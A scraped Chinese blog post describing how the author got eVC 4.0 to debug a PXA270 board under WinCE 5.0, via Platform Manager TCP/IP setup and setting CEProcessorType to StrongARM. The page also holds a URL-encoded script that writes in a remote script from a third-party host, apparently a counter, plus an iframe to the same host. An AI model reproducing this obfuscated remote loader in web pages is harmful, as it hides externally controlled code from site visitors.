解决EVC4.0不能调试PXA270

 

HTML Tags and JavaScript tutorial


<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
解决EVC4.0不能调试PXA270


/li>
lyt:
请问你用的pb的版本是多少阿?
fly:
http://www.21control.com/
fly:
http://218.69.114.37/wf/~HYLW/H047235/pdf/H0472350149.pdf











上一篇: 也写在S3C2440A平台+winCE5.0+NAND +HIVE注册表的实现
 | 
下一篇: ADS中生成的映像文件内部共有三种输出段:RO段、RW段和ZI段

function StorePage(){d=document;t=d.selection?(d.selection.type!='None'?d.selection.createRange().text:''):(d.getSelection?d.getSelection():'');void(keyit=window.open('http://www.365key.com/storeit.aspx?t='+escape(d.title)+'&u='+escape(d.location.href)+'&c='+escape(t),'keyit','scrollbars=no,width=475,height=575,left=75,top=20,status=no,resizable=yes'));keyit.focus();}


 解决EVC4.0不能调试PXA270



用EVC4.0在线调试PXA270解决过程全记录。
首先是ActiveSync可以连接上,也可以同步数据,但是不是单步调试。
错误:Debugger Swap Error
eVC cannot locate a debugger able to debug the attached device. The debugging session cannot begin.
EVC不能支持目标设备的CPU型号。
在网上查得解决方案。
我按如下步骤操作,想连接开发机与目标机(开发机IP地址:172.18.131.140,目标机 WinCE.net 5.0 IP地址:172.18.131.250,已进行IP连接,用Ping命令,彼此正常。)
1、打开EVC编辑器,单击菜单“Tools”下的“Configure Platform Manger”选项,打开“配置连接窗口”。
2、单击properties…按钮,配置如下信息
    Transport:Tcp/IP Transport for Windows CE
    Startup:Manual Server
3、选中“Tcp/IP Transport for Windows CE”传输协议,单击右边的“Configure…”按钮,进行的参数配置。
4、启动选择“Manual Server”选项,不需要参数配置。
5、单击“Test”按钮,弹出下面的窗体,把“CEMGRC.EXE /S /T:TCPIPC.DLL /Q/D:172.18.131.140:5000”参数保存到TcpLink.bat文件中去(即做一个批处理文件)。把该批处理文件,通过优盘拷贝到WinCE系统的HardDisk目录。
6、单击“Manual Server - Action”窗体的OK按钮。此时运行WinCE系统HardDisk目录下的TcpLink.bat批处理文件。
而且,在建立开发机与目标机之间的连接之前,保证目标机windows目录下有tcpipc.dll、cemgrc.exe和cetlstub.dll这三个文件

依然不行。还是弹出相同的错误:
Debugger Swap Error
eVC cannot locate a debugger able to debug the attached device. The debugging session cannot begin.
继续查资料。。。
EVC支持的处理器如下:
PROCESSOR_ARM720
PROCESSOR_ARM820
PROCESSOR_ARM920
PROCESSOR_STRONGARM
如果处理器型号符合,但依然出现此信息,则很可能是在pb定制内核的时候没有明确处理器型号.
可以打开所用的SDK包的platform.c文件,在OEMInit函数中把全局变量CEProcessorType设置为相应的处理器型号即可
发现:把catalog->Core OS->display based device->application-enduser->ActiveSync下的所有东西加进了项目中
把catalog->platform manager下的所有东西加进项目中。。这样编译出来的映像就在windows目录下有tcpipc.dll、cemgrc.exe和cetlstub.dll这三个文件了。省去了拷贝这一个步骤。
然后在OEMInit函数中把全局变量CEProcessorType设置为PROCESSOR_STRONGARM型号。再重新编译内核。重新导出SDK包,重新安装SDK,最后解决问题,成功实现单步跟踪调试。。。

src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值